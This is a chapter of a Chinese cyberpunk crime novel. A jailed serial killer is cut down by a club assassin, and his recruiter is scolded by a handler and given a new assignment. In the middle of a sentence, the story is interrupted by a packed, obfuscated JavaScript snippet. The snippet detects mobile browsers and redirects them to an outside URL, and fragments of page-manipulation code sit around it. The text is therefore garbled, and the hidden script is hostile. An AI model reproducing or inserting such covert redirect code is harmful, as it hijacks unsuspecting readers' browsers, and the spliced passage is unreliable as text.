这些明晃晃的违法行径既没有因为前段时间的连环杀人案而收敛,也没有变得更嚣张,只能说大家都在稳定地犯罪。 生活在这样一个魔窟,叶溟的心脏已经被锻炼得很强大了,几乎发生什么都能波澜不惊。 对她而言,连环杀人案的凶手自首落网的消息,还不如烦人的领导今天请假更让人高兴。 这边失去了组长的办公间就像失去了自行车的鱼,主打一个岁月静好。 而另一边,暂时被关进审讯室的庞勇自觉已经完成了赎罪,心情略显放松。 当然,更重要的是,他现在正待在审讯室里,被电子锁链牢牢捆着,浑身上下只有头能动,必须要有两位治安官同时进行虹膜扫描才能解开束缚。 光网之眼时刻透过监控监视着这里的情况,还有至少两位治安官在单向可视墙的另一边守着,他简直无法想象自己怎么在这种情况下离开。 他的意思是说,就算之前每天晚上用某种未知手段将他关进那段诡异楼道的东西有滔天手段,也不可能将自己从审讯室里弄出去。 而如果这种手段是作用在精神上的……一旦自己在重重监控之下表现出明显的异常,肯定会有治安官进来查看他的情况的。 所以庞勇一直紧绷的神经舒缓了不少,连日折磨带来的对夜晚的恐惧也减轻了。 “不会有事的,不会有事的……我都已经自首了,你们不能再……” “这家伙在嘀嘀咕咕什么呢?” 单向可视墙的另一侧,刚从治安学校毕业没多久的年轻治安官微微皱眉。 尽管师傅所在的重案组终于成功破案,不用再面对上下给的压力了,但她一直对连环杀人犯突然自首这件事抱有怀疑。 但她人微言轻,急于破案的治安局上上下下也绝不可能因为一点不自然的怀疑就重启调查,既然庞勇的证词和物证都跟目前的线索对上了,就都急着结案。 她还想再跟师傅抱怨两句,却听到门被轻轻打开的声音。 …… 庞勇一直待在审讯室里,几乎失去了对时间的感知。 不过他的心情却是这段时间少有的放松,甚至还有心情思考他的考核官高俊杰会不会过来捞他,到时候他该怎么跟对方辩解,降低他的怒火。 当审讯室的门被打开的时候,他立刻表现出一副非常积极配合的态度,希望能给治安官留下一个好印象,最好能争取减刑。 然而来人并没有穿制服,身上只套了一件简单的白色风衣,衬得别在胸口的黑色标志十分显眼。 看着来者胸口那处黑色的火焰以及火焰中心的一点寒芒,庞勇面色大变。 在黑色火焰中高高竖起的白色利剑,这是杀戮俱乐部的标志! “您……” 他的声音卡了一下,因为身穿白色风衣的女人轻轻一抬手,那条原本被宽大的衣袖遮掩的机械胳膊露了出来。 高电荷粒子流无声启动,等离子刀刃在扭曲的空气中逐渐成型。 庞勇左手的义体中也装了粒子切割刀,但他一眼就能看出白风衣手上的玩意显然不是他这个级别能碰瓷的。 不过这不是重点。 重点是庞勇觉得自己现在很危险。 他一个鲤鱼打挺……没能起来。 用来捆住他这种连环杀人犯的锁链非常结实,将他牢牢固定在了座椅上。 庞勇心中不妙的预感愈演愈烈。他忍不住大喊道:“等一下!虽然我自首了,但是所有的罪责都是我一人担,我没有说出任何关于俱乐部的……” 如同一根头发丝轻飘飘地吹到了闪烁着寒芒的利刃上。 庞勇声音一顿,随后身体和上面捆着的锁链一起裂开了。 他脸上的表情永远定格在了惊恐。 “任务目标已成功肃清。”白风衣女人手臂轻轻一弹,高电荷粒子流被关闭,等离子刀刃瞬间消散。 随后她将血肉之躯的左手按在胸口,脸上的表情逐渐发生变化,方才随手就斩杀一人的漠然逐渐消融,竟然流露出了几分悲天悯人的味道。 “真神在上。愿仁慈的主保佑这个罪恶的灵魂漂渡苦海,以抵天国。” 做完祷告之后,她没再看连人带椅被切成两半的尸体一眼,步伐轻快地离开了。 与此同时,坐在自己家里的高俊杰裹紧了身上盖着的毯子,浑身就像发癫痫了一样狠狠抖了几下。 他用惊恐中充满怀疑的目光扫视家里的每一个角落,仿佛任何一个地方都随时有可能会蹦出一些不属于现实的可怕存在。 亦或者周围场景会骤然颠倒,将他拖入另一个世界。 今天早上醒过来的时候,他盯着天花板直愣愣地看了好久,从未感觉自己的脑子如此混沌过。 他已经有点难以分清现实和梦境的界限了,就好像他直到现在都弄不清自己昨天到底是从什么时候开始中招的。 那个地方真的手眼通天到他走在路上都能将他拉进去吗?后面又好心将他送回了家? 还是说……他自始至终都没有离开过家门? 一想到这个可能,高俊杰打了个寒颤。 他今天请了假,没有去公司,但是他的父母都各自去上班了。 现在天色已经渐渐暗了下来,客厅里安装的一整面落地窗进行了智能调控,从透明渐渐变成了实心的雪白墙面。 灯光自动打开,照亮了客厅的每个角落,但他却依旧疑神疑鬼,总觉得自己目光触及不到的地方正悄然发生一些不太妙的变化。 比如噩梦入侵了他的家,在他自以为松懈下来的时候,突然露出狰狞的爪牙—— 嘀嘀嘀! 刺耳的铃声响起,把高俊杰吓了一跳,差点当场跪趴在地上。 他缓了一秒才意识到这是为自己在杀戮俱乐部的上级联络人设置的特别铃声,顿时不敢再让对方等下去了,手忙脚乱地接通了视频。 一个身穿黑色全包裹作战服的投影出现在半空中,发出了沙哑低沉的声音。 “448,你引荐的那个蠢货在做考核任务的期间跑到治安局去自首了!这是什么意思?你是想带头背叛俱乐部吗?” 高俊杰慌忙辩解:“044,我……” 他本来想说他不知道庞勇会干自首这种蠢事,但后来转念一想,庞勇之前确实跟他说过这种蠢话。 只是他以为自己稳住了对方,而且又想着私底下不管是威逼利诱,还是直接把人干掉,都能解决这件事,这才没有上报。 不管怎么辩解,将这样的软脚虾引荐到俱乐部都是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482696|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的失职,于是他只能狼狈低头认错。 “非常抱歉,这确实是我的失职……实不相瞒,最近我和那家伙遇到了一点匪夷所思的事情,他可能是被吓得慌不择路了……” 高俊杰吞了吞口水,知道这次无论如何都必须把情况上报了。 他对俱乐部有种本能的畏惧。 当初044莫名其妙就代表俱乐部找上了他,精准说出了他读书的时候因为忌恨一个拿奖学金的贫困生同学不肯帮他作弊,就将人骗到贫民窟杀掉的事情,又在他慌起来的时候抛出了橄榄枝。 那之后,044成为了他加入俱乐部的考核官。 再后来,他在俱乐部内部得到了448的编号—— 他一直不敢问这个编号有什么意义,但是大概能猜到应该是代表他是044的下级。 044成为了他的直属上级联络人,负责向他传达俱乐部的一些安排,以及在他需要的时候调动俱乐部的资源,发放会员福利。 高俊杰对俱乐部的人都有一种发自内心的畏惧。 因为他待得时间越长,越能感觉到杀戮俱乐部藏在水下的根系有多么庞大。 公司是主导这个世界发展的庞然巨物,然而俱乐部却几乎不怎么把公司放在眼里,从各家公司的员工到中高层都是说杀就杀,有时甚至还会玩弄一番。 高俊杰对着自己的父亲旁敲侧击过,确定身为帕林人事经理的父亲也绝对不可能在俱乐部面前保下他之后就死心了,老老实实跟着044干。 不过换个角度想,俱乐部能给他提供的资源恐怕也远比父亲丰厚…… 高俊杰安分了一阵子,因为想提高在044那里的地位就忍不住动了些心思,打听到俱乐部最近需要一批新入会的耗材之后,就主动请缨尝试招人。 然后事情就变成现在这个样子了。 如今事没办好,自己还惹上了麻烦,高俊杰磕磕绊绊地讲述了最近的经历后简直心如死灰。 更令他心塞的是,044听完这一堆天方夜谭立刻冷笑。 “你是梦游了还是吸多了片叶子?没事就快去医院检查一下自己是不是得了赛博精神病吧。” 我的义体改造率很低,谁得赛博精神病都轮不到我得。 高俊杰只敢在心里偷偷反驳。 要命的是,他觉得044说的话耳熟到令他有点胃疼,他当初是不是也是这样质疑庞勇的? 不过044没有在这件事上继续纠缠下去,似乎已经把他刚才说的那一大堆话当成纯放屁了。 “俱乐部被你们的愚蠢行为惊动了。” 一句话就让高俊杰的心沉入谷底,更别提接下来每一句都仿佛在敲打他的灵魂。 “061圣骑士亲自去了一趟治安局,已经把不安定因素解决了。448,接下来我会安排4488在明面上接触你,你想办法将他弄进帕林。 “找新人的任务你已经失手了,还给俱乐部带来了一点麻烦。这次可别再让我们失望了。” 说完,他没再给高俊杰开口的机会,直接把视频挂断了。 高俊杰坐在沙发上,傻眼了。 鼓起勇气告诉上级自己遇到的麻烦,结果对面完全没当一回事,不仅没有帮他解决麻烦的意思,还反手给他甩了个新任务? 而且,4488这家伙在理论上应该是他的下级,俱乐部的底层会员,只有被他单方面联系的份,却突然被安排到自己身边,还要他用资源给他铺路…… 该不会是想让那家伙取代自己在俱乐部的地位了吧?! 高俊杰暗自咬牙,心里很不舒服,决定干脆踢掉一个自己的组员,把4488安排进组,让他知道不管在哪里都只能当自己的下级。 他的脑海中过了一遍自己可以安排的组内所有组员的名单,最后定格在了他最厌恶的名字上—— 叶溟。